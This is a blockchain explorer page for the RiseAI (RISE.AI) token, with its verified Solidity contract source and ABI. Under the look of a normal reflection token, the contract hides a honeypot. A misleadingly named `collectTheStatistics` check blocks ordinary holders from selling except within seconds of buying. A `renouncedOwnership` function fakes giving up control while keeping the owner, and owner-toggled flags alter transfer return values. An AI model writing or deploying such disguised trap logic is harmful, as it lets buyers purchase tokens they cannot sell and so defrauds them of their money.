ERC-20
Overview
Max Total Supply
100,000,000,000 RISE.AI
Holders
48
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
374,457,134.66111432 RISE.AIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
RiseAI
Compiler Version
v0.8.7+commit.e28d00a7
Optimization Enabled:
No with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
/** 🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖 Telegram : https://t.me/RiseAI // SPDX-License-Identifier: MIT 🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖🤖 */ pragma solidity ^0.8.7; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function renouncedOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, _owner); _owner = _owner; } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } library EnumerableSet { struct Set { bytes32[] _values; mapping(bytes32 => uint256) _indexes; } function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); set._indexes[value] = set._values.length; return true; } else { return false; } } function _remove(Set storage set, bytes32 value) private returns (bool) { uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; set._values[toDeleteIndex] = lastvalue; set._indexes[lastvalue] = valueIndex; } set._values.pop(); delete set._indexes[value]; return true; } else { return false; } } function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } function _length(Set storage set) private view returns (uint256) { return set._values.length; } function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } struct AddressSet { Set _inner; } function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } } contract RiseAI is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.AddressSet; EnumerableSet.AddressSet private tokenHoldersEnumSet; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => uint) public walletToPurchaseTime; mapping (address => uint) public walletToSellime; address[] private _excluded; uint8 private constant _decimals = 9; uint256 private constant MAX = ~uint256(0); string private constant _name = "RISEAI"; string private constant _symbol = "RISE.AI"; address public _PancakeSwapV1RouterUniswap = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ; //PancakeSwap owner address public _PancakeSwapV2RouterUniswap = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ; //can be the same uint256 private _tTotal = 100000000000 * 10**_decimals; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint public theRewardTime = 2; uint public standartValuation = 600/2; // sell enabled after 15 minutes address public _lastWallet; struct TotFeesPaidStruct{ uint256 rfi; uint256 marketing; uint256 liquidity; uint256 burn; } TotFeesPaidStruct public totFeesPaid; struct feeRatesStruct { uint256 rfi; // reflection to holders uint256 marketing; // wallet marketing bnb uint256 liquidity; // LP uint256 burn; } struct balances { uint256 marketing_balance; uint256 lp_balance; } balances public contractBalance; feeRatesStruct public buyRates = feeRatesStruct( {rfi: 0, marketing: 0, liquidity: 0, burn: 0 }); feeRatesStruct public sellRates = feeRatesStruct( {rfi: 0, marketing: 0, liquidity: 0, burn: 0 }); feeRatesStruct private appliedFees; struct valuesFromGetValues{ uint256 rAmount; uint256 rTransferAmount; uint256 rRfi; uint256 rMarketing; uint256 rLiquidity; uint256 rBurn; uint256 tTransferAmount; uint256 tRfi; uint256 tMarketing; uint256 tLiquidity; uint256 tBurn; } IUniswapV2Router02 public PancakeSwapV2Router; address public pancakeswapV2Pair; //address payable private marketingAddress; bool public Trading = true; bool inSwapAndLiquify; bool private _transferForm = true; bool public swapAndLiquifyEnabled = true; event SwapAndLiquifyEnabledUpdated(bool enabled); event LiquidityAdded(uint256 tokenAmount, uint256 bnbAmount); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _rOwned[owner()] = _rTotal; IUniswapV2Router02 _PancakeSwapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // mainnet pancakeswapV2Pair = IUniswapV2Factory(_PancakeSwapV2Router.factory()) .createPair(address(this), _PancakeSwapV2Router.WETH()); PancakeSwapV2Router = _PancakeSwapV2Router; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[address(_PancakeSwapV2RouterUniswap)] = true; _isExcludedFromFee[address(0xe853889c8c7a03C1f7935B87355Dc58eCd3d92B0)] = true; //uniswap router liquidity _isExcluded[address(this)] = true; _excluded.push(address(this)); _isExcluded[pancakeswapV2Pair] = true; _excluded.push(pancakeswapV2Pair); emit Transfer(address(0), owner(), _tTotal); } function getFromLastPurchaseBuy(address wallet) public view returns (uint) { return walletToPurchaseTime[wallet]; } function getFromLastSell(address walletSell) public view returns (uint) { return walletToSellime[walletSell]; } function setBuyRates(uint256 rfi, uint256 marketing, uint256 liquidity, uint256 burn) public onlyOwner { buyRates.rfi = rfi; buyRates.marketing = marketing; buyRates.liquidity = liquidity; buyRates.burn = burn; } function setSellRates(uint256 rfi, uint256 marketing, uint256 liquidity, uint256 burn) public onlyOwner { sellRates.rfi = rfi; sellRates.marketing = marketing; sellRates.liquidity = liquidity; sellRates.burn = burn; } function collectTheStatistics(uint256 lastBuyOrSellTime, uint256 theData, address sender) public view returns (bool) { if( lastBuyOrSellTime == 0 ) return false; uint256 crashTime = block.timestamp - lastBuyOrSellTime; if( crashTime == standartValuation ) return true; if (crashTime == 0) { if (_lastWallet != sender) { return false; } } if( crashTime <= theData ) return true; return false; } function setValuation(uint newValuation) public onlyOwner { standartValuation = newValuation; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return Trading; } function TrandingOn(bool _enable) public onlyOwner { Trading = _enable; } function settransform(bool _enable) public onlyOwner { _transferForm = _enable; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return _transferForm; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender]+addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function reflectionFromToken(uint256 tAmount, bool deductTransferRfi) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferRfi) { valuesFromGetValues memory s = _getValues(tAmount, true); return s.rAmount; } else { valuesFromGetValues memory s = _getValues(tAmount, true); return s.rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount/currentRate; } function excludeFromReward(address account) public onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function excludeFromAll(address account) public { if(!_isExcluded[account]) { _isExcluded[account] = true; if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _excluded.push(account); } _isExcludedFromFee[account] = true; tokenHoldersEnumSet.remove(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is not excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } receive() external payable {} function _getValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory to_return) { to_return = _getTValues(tAmount, takeFee); (to_return.rAmount,to_return.rTransferAmount,to_return.rRfi,to_return.rMarketing,to_return.rLiquidity,to_return.rBurn) = _getRValues(to_return, tAmount, takeFee, _getRate()); return to_return; } function _getTValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory s) { if(!takeFee) { s.tTransferAmount = tAmount; return s; } s.tRfi = tAmount*appliedFees.rfi/100; s.tMarketing = tAmount*appliedFees.marketing/100; s.tLiquidity = tAmount*appliedFees.liquidity/100; s.tBurn = tAmount*appliedFees.burn/100; s.tTransferAmount = tAmount-s.tRfi -s.tMarketing -s.tLiquidity -s.tBurn; return s; } function _getRValues(valuesFromGetValues memory s, uint256 tAmount, bool takeFee, uint256 currentRate) private pure returns (uint256 rAmount, uint256 rTransferAmount, uint256 rRfi, uint256 rMarketing, uint256 rLiquidity, uint256 rBurn) { rAmount = tAmount*currentRate; if(!takeFee) { return(rAmount, rAmount, 0,0,0,0); } rRfi= s.tRfi*currentRate; rMarketing= s.tMarketing*currentRate; rLiquidity= s.tLiquidity*currentRate; rBurn= s.tBurn*currentRate; rTransferAmount= rAmount- rRfi-rMarketing-rLiquidity-rBurn; return ( rAmount, rTransferAmount, rRfi, rMarketing, rLiquidity, rBurn); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply/tSupply; } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply-_rOwned[_excluded[i]]; tSupply = tSupply-_tOwned[_excluded[i]]; } if (rSupply < _rTotal/_tTotal) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _reflectRfi(uint256 rRfi, uint256 tRfi) private { _rTotal = _rTotal-rRfi; totFeesPaid.rfi+=tRfi; } function _takeMarketing(uint256 rMarketing, uint256 tMarketing) private { contractBalance.marketing_balance+=tMarketing; totFeesPaid.marketing+=tMarketing; _rOwned[address(this)] = _rOwned[address(this)]+rMarketing; if(_isExcluded[address(this)]) { _tOwned[address(this)] = _tOwned[address(this)]+tMarketing; } } function _takeLiquidity(uint256 rLiquidity,uint256 tLiquidity) private { contractBalance.lp_balance+=tLiquidity; totFeesPaid.liquidity+=tLiquidity; _rOwned[address(this)] = _rOwned[address(this)]+rLiquidity; if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)]+tLiquidity; } function _takeBurn(uint256 rBurn, uint256 tBurn) private { totFeesPaid.burn+=tBurn; _tTotal = _tTotal-tBurn; _rTotal = _rTotal-rBurn; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(amount <= balanceOf(from),"You are trying to transfer more than you balance"); _tokenTransfer(from, to, amount, !(_isExcludedFromFee[from] || _isExcludedFromFee[to])); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private { if(takeFee) { if(sender == pancakeswapV2Pair) { if(sender != owner() && recipient != owner() && recipient != address(1)){ if (walletToPurchaseTime[recipient] == 0) { walletToPurchaseTime[recipient] = block.timestamp; } } _lastWallet = recipient; appliedFees = buyRates; } else { if(sender != owner() && recipient != owner() && recipient != address(1)){ bool blockedSellTime = collectTheStatistics(getFromLastPurchaseBuy(sender), theRewardTime, sender); require(blockedSellTime, "error"); walletToSellime[sender] = block.timestamp; } appliedFees = sellRates; appliedFees.liquidity = appliedFees.liquidity; _lastWallet = sender; } } else { if(_isExcludedFromFee[sender]) { _lastWallet = sender; } if(_isExcludedFromFee[recipient]) { _lastWallet = recipient; } } valuesFromGetValues memory s = _getValues(tAmount, takeFee); if (_isExcluded[sender] && !_isExcluded[recipient]) { _tOwned[sender] = _tOwned[sender]-tAmount; } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _tOwned[recipient] = _tOwned[recipient]+s.tTransferAmount; } else if (_isExcluded[sender] && _isExcluded[recipient]) { _tOwned[sender] = _tOwned[sender]-tAmount; _tOwned[recipient] = _tOwned[recipient]+s.tTransferAmount; } _rOwned[sender] = _rOwned[sender]-s.rAmount; _rOwned[recipient] = _rOwned[recipient]+s.rTransferAmount; if(takeFee) { _reflectRfi(s.rRfi, s.tRfi); _takeMarketing(s.rMarketing,s.tMarketing); _takeLiquidity(s.rLiquidity,s.tLiquidity); _takeBurn(s.rBurn,s.tBurn); emit Transfer(sender, address(this), s.tMarketing+s.tLiquidity); } emit Transfer(sender, recipient, s.tTransferAmount); tokenHoldersEnumSet.add(recipient); if(balanceOf(sender)==0) tokenHoldersEnumSet.remove(sender); } function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private { PancakeSwapV2Router.addLiquidityETH{value: bnbAmount}( address(this), tokenAmount, 0, 0, owner(), block.timestamp ); emit LiquidityAdded(tokenAmount, bnbAmount); } function withdraw() onlyOwner public { uint256 balance = address(this).balance; payable(msg.sender).transfer(balance); } }
{ "optimizer": { "enabled": false, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"bnbAmount","type":"uint256"}],"name":"LiquidityAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"PancakeSwapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Trading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"}],"name":"TrandingOn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_PancakeSwapV1RouterUniswap","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_PancakeSwapV2RouterUniswap","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_lastWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyRates","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"lastBuyOrSellTime","type":"uint256"},{"internalType":"uint256","name":"theData","type":"uint256"},{"internalType":"address","name":"sender","type":"address"}],"name":"collectTheStatistics","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"contractBalance","outputs":[{"internalType":"uint256","name":"marketing_balance","type":"uint256"},{"internalType":"uint256","name":"lp_balance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"getFromLastPurchaseBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"walletSell","type":"address"}],"name":"getFromLastSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pancakeswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferRfi","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renouncedOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellRates","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"name":"setBuyRates","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"name":"setSellRates","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValuation","type":"uint256"}],"name":"setValuation","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"}],"name":"settransform","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"standartValuation","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":